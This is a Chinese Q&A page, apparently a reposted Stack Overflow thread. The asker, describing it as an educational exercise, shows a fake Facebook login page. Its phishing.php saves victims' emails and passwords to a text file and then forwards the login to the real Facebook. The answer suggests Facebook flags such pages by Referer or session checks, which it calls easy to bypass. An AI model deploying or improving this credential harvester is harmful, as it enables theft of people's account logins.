Phishing:Facebook网络钓鱼检测

我正在做一个关于计算机安全的小任务,我目前正在进行网络钓鱼。

因此,出于教育目的,我写了一个简单的“网络钓鱼网页”,我试图了解 Facebook 如何检测网络钓鱼欺诈网页。

我的index.html是 Facebook 的主页,而我编辑它,以将用户重定向到phishing.php页面。

phishing.php:
<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>
<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
    foreach ($_POST as $a => $b) {
        echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
    }
?>
</form>
<script language="JavaScript">
    document.frm.submit();
</script>

我的问题来了这里一切都很好,除了一个事实,一旦用户(我)输入用户名和密码,Facebook 说:

安全声明:为了您的安全,切勿在非 Facebook.com 网站上输入您的 Facebook 密码

那么 Facebook 使用哪种机制来检测这样的网络钓鱼页面?

谢谢

3

我能想到很多方法,Facebook 做到这一点

方法一:HTTP Referer
在您发送的每个 HTTP 请求中,都会发送一个 Referer 来指示您来自哪里,Facebook 可以简单地执行以下操作

$referer = p_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

方法二:Sessions
Facebook 可能会在其 index.php 页面上启动会话,一旦提交登录表单,该页面将被选中,例如

index.php
$_SESSION['coming_from_facebook'] = true;
login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

这是所有的 psuedo 代码,第一种方法很容易绕过,因为用户可以修改引用。

本站系公益性非盈利分享网址,本文来自用户投稿,不代表边看边学立场,如若转载,请注明出处

(568)
Pdf缩小文件大小:修复明显损坏的 pdf并减小文件大小
上一篇
期货cjl指标:Python代码从币安期货市场获取MFI指标 错误计算
下一篇

相关推荐

发表评论

登录 后才能评论

评论列表(77条)